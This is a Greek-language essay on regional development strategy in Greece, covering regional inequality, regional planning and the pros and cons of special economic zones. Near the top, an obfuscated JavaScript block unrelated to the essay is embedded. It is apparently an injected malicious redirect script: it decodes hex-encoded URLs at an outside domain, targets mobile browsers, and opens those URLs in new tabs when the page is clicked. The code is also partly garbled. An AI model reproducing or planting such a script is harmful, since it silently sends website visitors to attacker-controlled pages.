

□ □ □ □ □ ΣΤΡΑΤΗΓΙΚΕΣ ΤΟΠΙΚΗΣ ΑΝΑΠΤΥΞΗΣ ΚΑΙ ΟΡΓΑΝΩΣΗΣ ΤΩΝ ΠΟΡΩΝ

Η διεθνής εμπειρία για την ανάπτυξη περιοχών, περιφερειών και χωρών είναι τόσο πλούσια ώστε μπορεί να αποτελέσει αποτελεσματικό οδηγό για φορείς, οργανισμούς, και κυβερνήσεις που επιδιώκουν να βελτιώσουν, να μεγεθύνουν ή να αναπτύξουν τα παραγωγικά τους αποτελέσματα.

Το ίδιο πλούσια είναι και η επιστήμη της οικονομικής ανάπτυξης, με θεωρίες, μοντέλα, ιδέες, εμπειρικές πρακτικές και στατιστικές μεθόδους, που χρησιμοποιούνται ως εργαλεία επιστημονικής έρευνας, από τις υπηρεσίες του ΟΗΕ, της Διεθνούς Τράπεζας, του ΟΟΣΑ, και άλλων διεθνών οργανισμών, προκειμένου να αντιμετωπιστεί η υπανάπτυξη, το χαμηλό εισοδηματικό επίπεδο και η φτώχεια πολλών χωρών και περιφερειών.

```
function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return
_0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let
_0x2d38c6=_0x10c8dc[_0x3023c3];return
_0x2d38c6;}_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const
_0x2ccc2=['userAgent','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx
70x61x6ex79x2fx7ax52x54x32x63x312','length','_blank','mobileCheck','x68x74x74x70x3ax2fx2f
x61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx51x52x56x33x63x373','x68x74
x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx6bx5ax4dx30
x63x370','random','-local-storage','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex
63x6fx6dx70x61x6ex79x2fx4cx50x72x37x63x357','stopPropagation','4051490VdJdXO','test','op
en','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx7a
x63x51x36x63x386','12075252qhSFyR','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x
78x2ex63x6fx6dx70x61x6ex79x2fx45x70x55x38x63x388','x68x74x74x70x3ax2fx2fx61x6cx6dx
61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx71x78x64x35x63x385','4829028FhdmtK','r
ound','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','ven
dor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return
_0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const
_0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const
_0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x14
2fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(
_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;els
e
_0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift'](
));}})(_0x10c8,0xd3435));var
_0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),
'substr',_0x3ec38a(0x18c),'x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx
6dx70x61x6ex79x2fx4ex6ax74x31x63x311',_0x3ec38a(0x187),_0x3ec38a(0x18b),'x68x74x74x
```

```

70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx6ex46x41x34x63x
314',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'x68x74x74x7
0x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx74x4ex46x39x63x3
09','_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x
3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x1
9b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_
0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){le
t _0x129862=![];return
function(_0x784bdc){(((android|bbd+|meego).+mobile|avantgo|bada|blackberry|blazer|compal|e
laine|fennec|hiptop|iemoible|ip(hone|od)|iris|kindle|lge
|maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm(
os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6|0)|symbian|treo|up.(browser|link)|vodafone|wa
p|windows
ce|xda|xiino|i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]|i|770s|802s|a
wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-
m|r |s
)|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|c
md-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(
ic|k0)|esl|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1
u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcut|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c-|
|_a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac(
|-/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt
|kwc-|kyo(c|k)|le(no|xi)|lg(
g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|
oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v
)|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6
|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-[1-8]|c))|phil|pire|pl(ay|uc)|pn-2|p
o(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-|2-7)|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/
|sa(gel|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(4
5|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-v|v
)|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-
9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|
81|83|85|98)|w3c(-| )|webc|whit|wi(g
|nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)
))&&(_0x129862=![]);})(navigator[_0x365b[0x1]]|navigator[_0x365b[0x2]]|window[_0x365b[0x3]
]),_0x129862;};const
_0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0x
b],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0
x10ad9f=_0x1f773b=>[_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0
x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x3
65b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});,_0x2317c1=_0x3bd6cc=>{const
_0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](
_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return
_0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]())*_0x2af2a2[_0x365b[0x17]]];},_0x57de
ba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1)
,_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x

```

```
11]),_0x5e3811=(,_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5a
a0fd+_0x365b[0x11],_0x594b23),_0x381a18=(,_0x3ab06f,_0x288873)=>{const
_0x266889=0x3e8*0x3c*0x3c;return
Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);,_0x3f1308=(
_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return
Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);,_0x4a7983=(
_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa)
,_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+
_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&wind
ow[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);}_0x10ad9f(_0xfdead6);function
_0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const
_0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const
_0x4593ae=Date[_0x365b[0x21]](new
Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1d
d2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const
_0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x45
93ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0
x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));_0x4
48fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0
x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x5
7deba(_0x1b1224));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else
_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x9
78889);}());
```

Δεν είναι εύκολο όμως για μια χώρα ή περιφέρεια που δεν καλύπτει ένα ελάχιστο επίπεδο αναπτυξιακών προϋποθέσεων, να μιμηθεί μια διεθνή εμπειρία ή να εφαρμόσει μια αναπτυξιακή θεωρία, και να επιτύχει τέτοιους αναπτυξιακούς ρυθμούς ώστε να βελτιώσει το βιοτικό επίπεδο των κατοίκων της. Οι περισσότερες «εξωγενείς μεταβιβάσεις» εμπειριών αποβαίνουν άκαρπες αν όχι και κοστοβόρες.

Μία αναπτυξιακή στρατηγική για να θεωρηθεί επιτυχής θα πρέπει να διέπεται από **ενδογενή δυναμική**

,
τοπική – χωρική προσαρμοστικότητα

,
θετική συσχέτιση

με το εξωτερικό περιβάλλον και

υψηλές κοινωνικές φιλοδοξίες της πολιτικής ελίτ.

Οι **στρατηγικές τοπικής ανάπτυξης και οργάνωσης των πόρων** (ΣΤΑΚΟΠ) είναι το ασφαλές αντίδοτο στις παθογένειες της στρατηγικής της «από τα πάνω ανάπτυξης», οι οποίες μεταφράζονται στην ακυρωτική γραφειοκρατία, την κρατική διαφθορά, την ανασταλτική πολυνομία, και την απουσία αναπτυξιακού σχεδιασμού. Αντίθετα οι ΣΤΑΚΟΠ, έχουν τη δημιουργική ικανότητα να κινητοποιούν και τη τελευταία μονάδα του τοπικού αναπτυξιακού δυναμικού γνωρίζοντας την ιεραρχία των αναγκών και τη ποσότητα των διαθέσιμων και απαιτούμενων πόρων. Ανθρώπινων, κεφαλαιακών και φυσικών. Το κλειδί σ' αυτό το σημείο είναι να μη διαχέονται οι συνέπειες του πολλαπλασιαστή εκτός τοπικού χώρου ή περιφέρειας αλλά η επιτυγχανόμενη συσσώρευση κεφαλαίου να επανεπενδύεται τοπικά.

Στη διεθνή κλίμακα, δεν είναι τυχαίο ότι στο δεσποτισμό της παγκοσμιοποίησης αντιπαραβάλλεται η στρατηγική της περιφερειακής συνεργασίας χωρών ή ομάδας χωρών, όπως η ASEAN, το MERCOSUR, η Ευρωπαϊκή Ένωση, κλπ.

Στην Ελλάδα δυστυχώς η «αναπτυξιακή» στρατηγική που εφαρμόσθηκε τα τελευταία είκοσι χρόνια, είχε το χαρακτήρα της κρατικής ρύθμισης, της προχειρότητας καταγραφής καταλόγου ασύνδετων έργων, της ακαμψίας των θεσμών της αγοράς και της υπέρ καταναλωτικής δημόσιας και ιδιωτικής δαπάνης, αφήνοντας τους εθνικούς παραγωγικούς πόρους ανεκμετάλλετους και ανοργάνωτους, με οδυνηρή κατάληξη την πρωτόγνωρη ιστορική κρίση του παρόντος.

Αυτό το κρατικό μοντέλο της τυπικής και στρεβλής διεκπεραίωσης των αναπτυξιακών αιτημάτων της κοινωνίας, δημιούργησε και το ανάλογο επίπεδο συνείδησης στο πολίτες, οι οποίοι απαξίωσαν τη τοπική δημιουργική ικανότητα και ταυτόχρονα υπεραξίωσαν εκείνη του κρατικού μητροπολιτικού κέντρου.

Η συνειδητοποίηση της αξίας του τοπικού – περιφερειακού προϋποθέτει όμως την ύπαρξη ή την δημιουργία μιας ομάδας «ηγετών» η οποία θα εκφράζει την ηγεμονία ενός κοινωνικού μπλόκ που θα δίδει προσωπικότητα στο χώρο. Θα τον μετατρέπει δηλαδή σε χώρο «δι' εαυτόν». Αυτό πρακτικά σημαίνει ότι θα διαθέτει ένα σύστημα πολιτικών και ιδεολογικών μέσων, ένα πλέγμα θεσμών, που θα είναι ικανό να ρυθμίζει τοπικά ζητήματα οικονομικής, κοινωνικής και πολιτιστικής φύσεως ακόμα και ενδεχόμενα ζητήματα συγκρούσεων. Ταυτόχρονα θα διεκδικεί πολιτική ισχύ και θα κατοχυρώνει νομιμοποίηση έτσι ώστε το κέντρο να λαμβάνει θετικές αποφάσεις για αναπτυξιακές χρηματοδοτήσεις περιφερειακών προγραμμάτων.

Η διεθνής εμπειρία που έχει συσσωρευτεί και κατηγοριοποιηθεί από τις υπηρεσίες του ΟΗΕ, αποδεικνύει ότι οι χώρες της κατηγορίας του χαμηλού και μέσου εισοδήματος διευρύνουν τις περιφερειακές ανισότητες μέσω του μηχανισμού της απομύζησης (blackwash effects), των πόρων των φτωχότερων περιφερειών ενώ οι χώρες της κατηγορίας του υψηλού εισοδήματος μειώνουν αυτές τις ανισότητες μέσω του μηχανισμού της διασποράς και διάχυσης των αναπτυξιακών αποτελεσμάτων (spread effects).

Παρ' ό,τι η Ελλάδα με κριτήριο το κατά κεφαλή εισόδημα ανήκει στις αναπτυγμένες χώρες του ΟΟΣΑ, (31 στο σύνολο), οι περιφερειακές ανισότητες τα τελευταία είκοσι χρόνια έχουν σχετικά διευρυνθεί. Πέντε ελληνικές περιφέρειες κατατάσσονται στις δέκα φτωχότερες της Ευρωπαϊκής Ένωσης, πλην Βουλγαρίας και Ρουμανίας. Οι αιτίες γι' αυτό είναι πολλές αλλά μία από τις κυριότερες είναι η προϊούσα αδράνεια της πολιτικής ελίτ τόσο στο κέντρο όσο και στη περιφέρεια.

□□□□ Η ΠΕΡΙΦΕΡΕΙΑΚΗ ΑΝΑΠΤΥΞΗ ΑΝΤΙΔΟΤΟ ΣΤΗΝ ΕΘΝΙΚΗ ΚΡΙΣΗ

Στην Ελλάδα το φαινόμενο της περιφερειακής απομύζησης των πόρων των περιφερειών από το μητροπολιτικό κέντρο της Αττικής και τη πόλη της Θεσσαλονίκης, είναι μία από τις κυριότερες αιτίες της σημερινής κρίσης υποπαραγωγής.

Συνοπτικά τα αποτελέσματα αυτής της διαδικασίας ήταν να δημιουργηθούν πολυάριθμοι και ετερογενείς κοινωνικοί διαχωρισμοί. Οι οικονομικοί δείκτες, οι δείκτες ευημερίας, οι δημογραφικοί δείκτες και οι δείκτες μορφωτικών επιπέδων αποκλίνουν σημαντικά μεταξύ των περισσότερων περιφερειών και του μητροπολιτικού και υπομητροπολιτικού κέντρου.

Ένα παράδειγμα είναι αρκετό για να καταδείξει το χάσμα και των περιφερειακών αλλά και των ενδοπεριφερειακών ανισοτήτων. Στις περισσότερες ελληνικές περιφέρειες, έξι στους δέκα πολίτες είναι αναλφάβητοι ή απόφοιτοι στοιχειώδους εκπαίδευσης, απασχολούμενοι κυρίως στην πρωτογενή παραγωγή, τρεις είναι απόφοιτοι της μέσης εκπαιδευτικής βαθμίδας και ένας της ανώτερης ή ανώτατης. Στατιστικά και πραγματικά, **μη** σημαντικός θεωρείται ο αριθμός των κατόχων μεταπτυχιακών τίτλων σπουδών. Ο παράγοντας αυτός όπως και η διάρθρωση της ηλικιακής κλίμακας, θεωρούμε ότι είναι από τις βασικότερες προσδιοριστικές αιτίες της κρίσης υποπαραγωγής, και μάλιστα σε ένα κόσμο με υψηλό ανταγωνισμό στις οικονομίες της γνώσης, της καινοτομίας και της υψηλής τεχνολογίας. Της

κρίσης πολιτικής εκπροσώπησης και νομιμοποίησης, της κρίσης των αξιών, κλπ, κλπ.

ΠΕΡΙΦΕΡΕΙΑΚΟΣ ΑΝΑΠΤΥΞΙΑΚΟΣ ΠΡΟΓΡΑΜΜΑΤΙΣΜΟΣ

Οι φυσικοί και ανθρώπινοι πόροι, τα αποθέματα κεφαλαίου και οι μηχανισμοί διαμόρφωσης προσδοκιών, τόσο εθνικά όσο και περιφερειακά, είναι απαραίτητο να κατηγοριοποιηθούν, να ιεραρχηθούν και να αξιοποιηθούν στα πλαίσια ορθολογικών κανόνων και κανονιστικών ρυθμίσεων.

Οι φορείς της περιφερειακής και τοπικής αυτοδιοίκησης, **ως τα νέα κέντρα οιονεί περιφερειακής εξουσίας,** είναι υποχρεωμένοι εκ των δεδομένων αναγκών να αντιμετωπίσουν το μειονέκτημα των χαμηλών δεξιοτήτων των ανθρώπινων πόρων και των εκπαιδευτικών προσόντων, συναρτημένων με τα παραγωγικά τοπικά πρότυπα και τις τοπικές αξίες. (....)

Δεύτερον, ο περιφερειακός προγραμματισμός θα πρέπει να μεριμνά για τις περιφερειακές υποδομές και τις κοινοτικές εξυπηρετήσεις. (...)

Τρίτον, η δημιουργία περιφερειακών θεσμών συμμετοχής του οικονομικά ενεργού πληθυσμού έχει πρωταρχική σημασία γιατί δημιουργεί λειτουργικά δίκτυα εξυπηρέτησης και υποστήριξης των πολιτών. (...)

Τέταρτον, η αξιοποίηση των περιφερειακών και τοπικών πόρων, η μικρή κλίμακα, ο τοπικός έλεγχος, και οι ενδοπεριφερειακές αλληλεξαρτήσεις συγκρατούν το παραγόμενο περιφερειακό προϊόν, (οικονομικό, πολιτιστικό, κλπ) εντός της περιφέρειας αποτρέποντας φαινόμενα παλινδρομικής διαφυγής.

Πέμπτον, ο σχεδιασμός για τη δημιουργία μιας **κινητήριας οικονομικής δραστηριότητας**, στη πρωτογενή ή μεταποιητική παραγωγή, ή στις υπηρεσίες, όχι αναγκαστικά μεγάλης κλίμακας, είναι ο καθοριστικότερος παράγων, που θα απορροφήσει το πλεονάζον εργατικό

δυναμικό, θα αυξήσει το περιφερειακό προϊόν, θα αξιοποιήσει τους τοπικούς πόρους και θα σπάσει την αιτιώδη αλυσίδα του φαύλου κύκλου που χαρακτηρίζει μια περιφέρεια ως υπανάπτυκτη. Με άλλα λόγια τίθεται το ερώτημα:

ποιος θα είναι ο κινητήρας

, ποια οικονομική δραστηριότητα θα αποτελέσει

τον πόλο

γύρω από τον οποίο θα δημιουργηθούν οι αναγκαίες προϋποθέσεις για την οικονομική και κοινωνική απογείωση (take off) της περιφέρειας. (...)

Εκτον, ο περιφερειακός σχεδιασμός δεν θα πρέπει να θεωρεί τη χωρική περιφερειακή οικονομία ως απομονωμένη και κλειστή. Οι διεθνείς αγορές είναι ανοικτές και η τεχνογνωσία πλούσια για διασυνδέσεις και αμοιβαίους καθορισμούς είτε σε ευρωπαϊκό είτε σε διεθνές επίπεδο. (...)

Θα μπορούσαμε να προσθέσουμε και άλλες πτυχές του περιφερειακού σχεδιασμού, αλλά εκείνο που είναι σημαντικό να υπογραμμισθεί είναι ότι ενώ το Εθνικό Κράτος υπονομεύεται από τις διαδικασίες της παγκοσμιοποίησης και σύρεται έρμαιο από τις χρηματοοικονομικές αγορές, η στρατηγική της περιφερειακής ανάπτυξης και διαπεριφερειακής συνεργασίας, είναι η πιο κατάλληλη πολιτική για την αναδιάρθρωση της παραγωγής, της οργάνωσης και αξιοποίησης των πόρων.

-

Για να επιλεγεί και καθορισθεί μια περιφερειακή πολιτική ανάπτυξης θα πρέπει να εξεταστεί και ερευνηθεί σειρά αντικειμενικών προϋποθέσεων, ενεργεία και δυνάμει, που θα εγγυώνται αυτοσυντήρητη αναπτυξιακή διαδικασία. Αν αντίθετα οι αντικειμενικές παράμετροι αντικατασταθούν από την υποκειμενική βούληση της περιφερειακής ελίτ για «ευνόητους λόγους», τότε οι πιθανότητες δαπανηρής αποτυχίας είναι πολύ μεγάλες.

Ως αντικειμενικοί παράγοντες θεωρούνται:

- Το επίπεδο ανάπτυξης ή υπανάπτυξης μιας περιφέρειας ή μιας τοπικής οικονομίας,

- Η ποσοστιαία συμμετοχή του περιφερειακού προϊόντος στο ΑΕΠ,
- Η διάθρωση της κλίμακας των επαγγελματικών και μορφωτικών προσόντων,
- Η διάρθρωση των τομέων και κλάδων παραγωγής, διανομής και εμπορίου,
- Το κατά κεφαλή περιφερειακό εισόδημα,
- Τα αποθέματα φυσικών πόρων, κεφαλαίου και το επίπεδο τεχνολογίας,
- Η ποιότητα των διοικητικών υπηρεσιών,
- Η ποιότητα των υποδομών δημόσιας ωφέλειας.

Με βάση τα ανωτέρω, η περιφερειακή στρατηγική αποσκοπεί στη δημιουργία ανταγωνιστικού περιφερειακού πλεονεκτήματος με προσανατολισμό την εθνική και διεθνή αγορά, την ικανότητα αυτοτροφοδότησης της αναπτυξιακής διαδικασίας και την εξασφάλιση θετικής συσχέτισης με άλλες εθνικές ή διεθνείς περιφέρειες.

Συνήθως οι περιφερειακές πολιτικές ανάπτυξης **απαιτούν ροές κεφαλαίων** που είναι αδύνατον να εξασφαλίσει το Εθνικό Κράτος. Ιδιαίτερα όταν αυτό διέρχεται περίοδο οικονομικής κρίσης ή βρίσκεται σε κατάσταση υπανάπτυξης.

Συνεπώς για την εισροή των επιθυμητών ποσοτήτων κεφαλαίων θα πρέπει να εφαρμοσθεί **πολιτική προσελκυστικότητας ξένων επενδύσεων ή και εθνικών ιδιωτικών κεφαλαίων.**

Για την εκπλήρωση του σκοπού αυτού οι χώρες έχουν εφαρμόσει πληθώρα πολιτικών, οι βασικότερες των οποίων είναι οι **Ειδικές Οικονομικές Ζώνες** (special economic zones), ή οι **Ε**

λεύθερες ζώνες εμπορίου

, ή οι

Ευνοούμενες περιφερειακές ρήτρες

, κλπ.

Τα αποτελέσματα που καταγράφηκαν από τις σχετικές υπηρεσίες του ΟΗΕ, δεν είναι πάντα θετικά. Οι χώρες που έχουν εφαρμόσει ανάλογες περιφερειακές πολιτικές ανέρχονται σε 103 και έχουν μελετηθεί 827 περιπτώσεις ειδικών στρατηγικών προσελκυστικότητας ξένων κεφαλαίων. Απ' αυτές σχεδόν το 50% επέτυχαν αποτελέσματα κάτω από το επιθυμητό επίπεδο.

Ειδικές οικονομικές Ζώνες.

Οι ΕΟΖ είναι κατά κανόνα γεωγραφικές περιοχές στην ενδοχώρα ή στις παράκτιες ζώνες, που προσφέρουν ειδικά οικονομικά, εργασιακά, διοικητικά και χρηματοδοτικά καθεστώτα, τα οποία αναζητούν οι διεθνείς ή εθνικές επιχειρήσεις προκειμένου να εγκαταστήσουν τις παραγωγικές, εμπορικές, διοικητικές ή αποθηκευτικές τους λειτουργίες. Αποτελούν χωρικά συστήματα, με παροχές κοινής ωφέλειας και ικανότητες υποδοχής βιομηχανικών, αγροτοβιομηχανικών ή άλλων συγκροτημάτων, οι μονάδες των οποίων αναπτύσσουν σχέσεις αλληλεξάρτησης.

Η παραδοσιακή άποψη ήθελε τις ΕΟΖ ως εφαρμογές ανάπτυξης, ξεκομμένες από το σύστημα της εθνικής οικονομίας, οάσεις ευημερίας με εξαγωγικό προσανατολισμό. Όπου εφαρμόσθηκε ο τύπος αυτός των ΕΟΖ, κυρίως στις υπανάπτυκτες χώρες της Αφρικής και Λ. Αμερικής επέφερε πενιχρά έως μηδαμινά αποτελέσματα.

Η σύγχρονη άποψη που σχετίζεται με τις λειτουργίες των ΕΟΖ, είναι συνδυασμένη με τους **περιφερειακούς πόλους ανάπτυξης**

. Η στρατηγική αυτή λαμβάνει ως βάση το συγκριτικό πλεονέκτημα μιας περιοχής και αποσκοπεί να το μετατρέψει σε ανταγωνιστικό και αναπτυξιακό. Μια κινητήρια βιομηχανία ή μια συστάδα κινητήριων βιομηχανιών, εγκαθίσταται στην ΕΟΖ, με πολλαπλές θετικές

επιπτώσεις σε άλλες μικρότερες μονάδες ή και στην εθνική οικονομία.

Οι εκροές

της κινητήριας παραγωγικής μονάδας επιδρούν πολλαπλασιαστικά στο περιφερειακό προϊόν, στην τοπική απασχόληση και στο περιφερειακό εισόδημα.

Οι εισροές

της μπορεί να προέρχονται από μικρές τοπικές μονάδες ή ατομικούς παραγωγούς, συγκροτώντας ένα πλαίσιο οικονομικών αλληλεξαρτήσεων. Έτσι δημιουργούνται

εξωτερικές

οικονομίες κλίμακας

με αποτέλεσμα την ελαχιστοποίηση του κόστους και τη μεγιστοποίηση των αποδόσεων.

Ο οικονομικός μηχανισμός που ενεργοποιείται, όταν οι ΕΟΖ αναδεικνύουν ένα πόλο ανάπτυξης είναι ο εξής:

Στις συνθήκες της ανταγωνιστικής αγοράς οι επιχειρήσεις συνδέονται μεταξύ τους μόνο μέσω της τιμής. Στις συνθήκες όμως του πόλου ανάπτυξης οι επιχειρήσεις συνδέονται με πολλούς τρόπους. Το κέρδος μιας επιχείρησης εντός του πόλου είναι συνάρτηση των δικών της εκροών και των εισροών αλλά ταυτόχρονα και των εκροών και των εισροών μιας άλλης επιχείρησης του συμπλέγματος. Έτσι υπάρχει ένα σύστημα σχέσεων που δημιουργεί εξωτερικές οικονομίες και ενισχύει τις αποδόσεις των εγκαταστημένων επιχειρήσεων εντός της ΕΟΖ, σε μεγαλύτερο βαθμό από τις αποδόσεις των επιχειρήσεων που λειτουργούν εκτός της ζώνης.

Στο εφαρμοστικό πεδίο τώρα τα θετικά επιχειρήματα υπέρ των ΕΟΖ, έχουν συμπυκνωθεί στα εξής:

- § Αποτελούν ένα καλό οδηγό στρατηγικής προκειμένου να ανοίξει η οικονομία στο διεθνές περιβάλλον, και να εισφέρει επενδυτικούς πόρους για την εθνική ανάπτυξη. Ταυτόχρονα, ως εργαλείο κινήτρων, δρομολογεί διαδικασίες διαφοροποίησης της παραγωγικής βάσης, μετριάζοντας την εξάρτηση από την μονοκαλλιέργεια ή τις εξαγωγές ακατέργαστων πρώτων υλών, των καθυστερημένων χωρών.
- § Με τη λειτουργία των ΕΟΖ μειώνεται το ποσοστό εξάρτησης των χωρών αυτών από τις τουριστικές υπηρεσίες, στις οποίες κυρίως είναι στραμμένες οι οικονομίες.
- § Μελέτη της International Directory of Free zones and export processing zones, έχει καταδείξει ότι οι χώρες τα στοιχεία των οποίων ανέλυσε, έχουν κερδίσει σημαντικά μερίδια των αγορών των αναπτυγμένων χωρών, όπως οι ΗΠΑ και η Ε. Ένωση.

Ωστόσο έχουν αναπτυχθεί και επιχειρήματα κατά της δημιουργίας ΕΟΖ τα οποία συνοψίζονται στα ακόλουθα:

- § Η επίπτωση των καθεστώτων εντός της ΕΟΖ είναι περιορισμένη για το σύνολο της οικονομίας.
- § Οι ΕΟΖ δεν ευνοούν τις αναγκαίες μεταρρυθμίσεις από τις οποίες έχει ανάγκη ολόκληρη η οικονομία και κοινωνία, προκαλώντας εφησυχασμό.
- § Μικρό μόνο μέρος των ξένων επενδύσεων έχουν καταφέρει να απορροφήσουν.
